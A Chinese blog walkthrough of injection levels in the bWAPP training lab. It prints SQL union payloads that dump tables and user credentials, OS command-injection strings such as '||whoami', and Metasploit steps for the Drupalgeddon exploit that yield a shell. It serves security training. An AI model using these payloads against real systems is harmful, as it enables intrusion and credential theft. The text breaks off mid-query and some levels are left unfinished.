bwapp通关(全完结)

bwapp

---------------------- bWAPP v2.2 -----------------------

/ A1 - Injection /HTML Injection - Reflected (GET)

在这里插入图片描述

HTML Injection - Reflected (POST)

换成post在这里插入图片描述

随便搞了,随便写,html随便插

HTML Injection - Reflected (Current URL)

只有在IE浏览器中实现,Chrome和Firefox中HTML参数均为解析出来。
在这里插入图片描述

在连接后面随便增添值

HTML Injection - Stored (Blog)

在这里插入图片描述

iFrame Injection

iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”。

通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等。

在这里插入图片描述
我们这里发现,他包含了一个robots.txt的文件,我们试试其他喽
在这里插入图片描述

LDAP Injection (Search)【待开化】

Mail Header Injection (SMTP)【待开化】

OS Command Injection

在这里插入图片描述
其余的绕过见之前的
这样就可以了

​OS Command Injection - Blind

盲注我们可以进行延时或者直接字符型,

在这里插入图片描述

或者||whoami `sleep 5 `

PHP Code Injection

在这里插入图片描述
直接命令执行即可

Server-Side Includes (SSI) Injection【待开化】

SQL Injection (GET/Search)
在这里插入图片描述
我们在输入‘ 后发现报错,然后我们进行orderby,
在这里插入图片描述

到8报错
在这里插入图片描述
确定回显位置
在这里插入图片描述

查询数据库,其余和正常查询一致

SQL Injection (GET/Select)

在这里插入图片描述
数字型的,直接注入即可,同上

SQL Injection (POST/Search)

在这里插入图片描述
我们尝试I‘发现报错
在这里插入图片描述
那么我们想办法闭合他,
I%’ #
这样我们就能闭合并查询出东西
在这里插入图片描述
当然,如果有报错,我们还可以使用报错注入

SQL Injection (POST/Select)

同上,只不过变成了select的,post抓包修改一样的

SQL Injection (AJAX/JSON/jQuery)

ajax他是一个异步通讯,能够在网页不刷新的情况下,刷新网页内部的东西
而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法
在这里插入图片描述
从sqli_10-2获取了json,
在这里插入图片描述
10-2这里可以存在注入
因为是异步的嘛,所以我们在他的前台输入即可,7可以,8直接查询不到

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
-a%' union select 1,database(),(group_concat(table_name)),4,5,6,7 from information_schema.tables where table_schema='bWAPP' #
在这里插入图片描述

SQL Injection (CAPTCHA)

(无法使用,不知道是我的问题还是。。)

SQL Injection (Login Form/Hero)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201023173256322.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2h4aHhoeGh4eA==,size_16,color_FFFF在这里插入图片描述
我们输入4,仍然可以注入
我们输入5
在这里插入图片描述
说明只有四列
在这里插入图片描述
找到回显
在这里插入图片描述

这里有报错的话,我们直接报错注入

在这里插入图片描述

SQL Injection (Login Form/User)

在这里插入图片描述
我们发现有报错,,但是没有找到任何可以回显的地方

发现无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

因此无法使用order by 判断字段数 (判断注入点是为了用order by来得到字段数)

但是可以直接通过联合查询得到字段数:

在这里插入图片描述

但是又无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

我们去数据库查询看看
在这里插入图片描述
我们发现,他的第三位是md5加密的
在这里插入图片描述
由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等

比如, 注入的联合查询为:

用户名:  ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密码  :  3

在这里插入图片描述

SQL Injection (SQLite)

首先需要安装SQLite插件:

apt-get install sqlite3
 
apt-get install php5-sqlite

然后重启一下apache:

service apache2 restart

注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:
在这里插入图片描述

根据查询功能, 很明显为模糊匹配:
在这里插入图片描述

于是得出sql语句为:
select * from books where title='%$title%';
判断注入点
Iron%' and 1=1 --
注意在SQLite中, 注释符为: --
在这里插入图片描述

判断字段数
Iron%' order by 6 --
判断字段显示顺序
123%' union select 1,2,3,4,5,6 --
在这里插入图片描述

爆所有表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
在这里插入图片描述

users表的字段
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
通过sql可以查看建表语句, 从而得到字段属性:
在这里插入图片描述

取值
123%' union select 1,2,login,password,5,6 from users --
在这里插入图片描述
因为环境问题,转自
https://blog.csdn.net/angry_program/article/details/104545171#0x07%E3%80%81SQL%20Injection%20%28Login%20Form%2FUser%29

SQLite 介绍

SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。

type列记录了项目的类型,如table、index、view、trigger

tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;

name字段记录了项目的名称,如表名、索引名等;

rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL

sql存放着所有表的创建语句,即表的结构。

SQL Injection (Drupal)

在这里插入图片描述
只有bee-box可以使用,所以 我们只演示,并无结果
search drupal
在这里插入图片描述
使用CVE-2014-3704对应的攻击模块:

use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:

set targeturi /drupal/
所定攻击的ip和端口:

set RHOSTS 192.168.10.10

set rport 8080
发动攻击, 拿到shell:

exploit

前情提要

CVE-2014-3704:
由于expandArguments()函数没有正确构造准备好的语句,这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。

Drupal是一款开源内容管理系统(CMS),用户多达100万以上(包括政府、电子零售、企业组织、金融机构等),除非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则,所有用户都会面临该漏洞的严重威胁。

SQL Injection - Stored (Blog)

在这里插入图片描述
我们先看看报错,
然后我们闭合他
insert into blog(date,entry,owner) values(now(), '$entry', 'bee');
注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:
在这里插入图片描述

SQL Injection - Stored (SQLite)

(暂时无法使用,但是和上一关类似,只不过语法变成了sqlite的)

SQL Injection - Stored (User-Agent)

在这里插入图片描述
我们在UA处注入,发现了报错,
那么我们紧接着闭合,
在这里插入图片描述
我们需要闭合他的内部函数,回显在ip这里
INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');

SQL Injection - Stored (XML)

在这里插入图片描述
点击会发送一次信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们发现这里会改写文字
得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:

UPDATE users SET secret = '$secret' WH

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值